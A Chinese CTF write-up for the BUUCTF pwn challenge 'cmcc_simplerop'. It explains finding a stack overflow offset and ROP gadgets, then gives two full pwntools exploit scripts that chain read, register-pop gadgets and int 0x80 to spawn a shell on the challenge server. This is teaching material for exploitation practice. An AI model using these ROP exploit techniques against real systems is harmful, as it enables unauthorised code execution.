cmcc_simplerop来自BUUCTF
这道题听名字simplerop我直接先用ret2libc做了,发现不行,还是我太年轻了。
这道题用到了系统调用和rop技术。构造rop链。来我们看题。
checksec 只开了NX。

只有一个栈溢出漏洞,在左边函数栏中搜索system函数没有,也没有printf_plt显然不是ret2libc
file文件可以发现这是一个静态链接的函数。
先来看一下栈溢出的偏移,有时候IDA中的偏移不一定准确我们还是要用gdb来调试一下。看一下偏移 :
先用工具生成一长串字符
cyclic 加数字

gdb 运行程序输入后

这里提示了 Invalid address 0x61616169 用命令: cyclic -l 0x61616169就能输出偏移了;
进行系统调用我们肯定少不了 int 0x80 用命令: ROPgadaget --binary 文件名 --only "int"来查找;
我们利用溢出来进行系统调用 让程序执行 execv("/bin/sh",null,null)系统调用号为 11

还用一个问题程序中没有'/bin/sh\x00'这个字符串,我们要解决这个问题。我们只能自己输入这个字符串,如何输入。前面的栈溢出已经被利用了。我们利用程序已有的函数输入,程序中有read函数
我们先用栈溢出将返回地址返回到read函数把字符串写进去程序中。我们就写在bss段 在这个段中随意找到一个空白地址。
from pwn import *
r=remote('node4.buuoj.cn',25914)
ints=0x080493e1
pop_3=0x0806e850
pop_eax=0x080bae06
read_addr=0x806CD50
bins=0x80eafdd
payload='a'*0x20+p32(read_addr)+p32(pop_3)+p32(0)+p32(bins)+p32(0x8)
payload+=p32(pop_eax)+p32(0xb)+p32(pop_3)+p32(0)+p32(0)+p32(bins)+p32(ints)
r.sendline(payload)
r.sendline('/bin/sh\x00')
r.interactive()
这道题还有一种做法就是用 ROPgadget 生成的rop链,我们使用命令 :ROPgadget --binary rop --ropchain
下面是exp:
from pwn import *
from struct import pack
context(os='linux',arch='i386',log_level='debug')
#sh = process('./simplerop')
sh = remote("node3.buuoj.cn","25041")
strcmp_got = 0x080EA038
p = 'A' * 32
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '/sh\x00'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e850) # pop edx ; pop ecx ; pop ebx ; ret
p += p32(0x0)
p += p32(0x0)
p += pack('<I', 0x080ea060) # padding without overwrite ebx @data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080493e1) # int 0x80
print(len(p))
sh.sendafter('Your input :',p)
sh.interactive()
这道题和那个 inndy_rop 做法是一样的。

浙公网安备 33010602011771号